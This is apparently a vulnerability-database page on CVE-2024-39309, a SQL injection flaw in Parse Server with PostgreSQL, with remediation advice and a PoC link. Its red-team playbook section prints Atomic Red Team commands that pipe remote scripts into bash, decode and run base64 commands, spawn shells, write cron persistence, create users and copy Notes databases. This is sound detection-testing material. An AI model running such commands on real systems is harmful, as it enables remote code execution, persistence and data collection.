CVE-2024-39309
Overview
This vulnerability is a SQL injection flaw rooted in insufficient input validation within the PostgreSQL database adapter of Parse Server. The detection algorithm for malicious SQL payloads fails to properly sanitize or parameterize user inputs when Parse Server interacts with PostgreSQL, allowing crafted queries to manipulate backend database commands. The affected component is the database query processing layer of Parse Server versions prior to 6.5.7 and 7.1.0 when configured to use PostgreSQL.
Vulnerability Description
Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. A vulnerability in versions prior to 6.5.7 and 7.1.0 allows SQL injection when Parse Server is configured to use the PostgreSQL database. The algorithm to detect SQL injection has been improved in versions 6.5.7 and 7.1.0. No known workarounds are available.
Impact
An unauthenticated remote attacker can execute arbitrary SQL commands on the PostgreSQL backend, potentially leading to full database compromise including data exfiltration, modification, or deletion. This can result in complete backend data breach or service disruption. The attack requires network access to the Parse Server instance configured with PostgreSQL and no user interaction or privileges are necessary, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Upgrade Parse Server to version 6.5.7 or later, or 7.1.0 or later, where the SQL injection detection algorithm has been improved. Refer to the official GitHub security advisory GHSA-c2hr-cqg6-8j6r and pull requests #9167 and #9168 for detailed patch information and instructions. No workarounds are available; applying the vendor-provided patches is the only recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Parse Server arises from improper handling of SQL queries when configured to use PostgreSQL as the database backend. This flaw allows an attacker to manipulate input data in such a way that they can inject malicious SQL code into the queries executed by the server. Specifically, the vulnerability stems from the lack of adequate input validation and sanitization, which permits attackers to craft inputs that can alter the intended SQL commands. The affected versions prior to 6.5.7 and 7.1.0 are particularly susceptible, as they do not implement the improved detection algorithms that were introduced in subsequent releases. This oversight in input handling can lead to unauthorized access to sensitive data, data manipulation, or even complete control over the database.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple channels. An attacker could leverage web forms, API endpoints, or any other input fields that interact with the database. For instance, by submitting specially crafted requests that contain SQL injection payloads, an attacker could extract sensitive information such as user credentials, personal data, or even administrative privileges. Additionally, if the application has insufficient logging or monitoring, the attacker may be able to exploit this vulnerability without immediate detection. Given the nature of SQL injection attacks, the potential for exploitation is high, particularly in environments where the Parse Server is exposed to the internet or where user input is not rigorously validated.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on Parse Server for their backend operations. Successful exploitation could lead to significant data breaches, resulting in the exposure of sensitive information that could harm both the organization and its users. The business risks associated with such breaches include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the costs associated with incident response, remediation, and public relations efforts can escalate quickly, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the latest versions of Parse Server that incorporate the improved SQL injection detection algorithms. Regularly updating software components is a fundamental best practice in cybersecurity, as it ensures that known vulnerabilities are patched. Additionally, implementing robust input validation and sanitization measures can significantly reduce the risk of SQL injection attacks. Organizations should also consider employing web application firewalls (WAFs) to provide an additional layer of protection against injection attacks. Monitoring and logging access to the database can help detect anomalous behavior, allowing for quicker incident response should an attack occur.
In conclusion, the vulnerability in Parse Server presents a critical risk for organizations utilizing this open-source backend framework. The potential for SQL injection attacks underscores the need for rigorous security practices, including timely updates, input validation, and proactive monitoring. By addressing these vulnerabilities and implementing comprehensive security measures, organizations can better protect their data and maintain the trust of their users.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
HeavyGhost-le/POC_SQL_injection_in_Parse_Server_prior_6.5.7_-_7.1.0
Advanced PostgreSQL database enumeration tool exploiting CVE-2024-39309 in Parse Server - Comprehensive SQL injection ex...
|
HeavyGhost-le | 1 | 1 | 2025-10-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-39309 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/parse-community/parse-server/security/advisories/GHSA-c2hr-cqg6-8j6r |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/pull/9167 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/pull/9168 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/commit/2edf1e4c0363af01e97a7fbc97694f851b7d1ff3 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/parse-community/parse-server/commit/f332d54577608c5ad927255e06d8c694e2e0ff5b |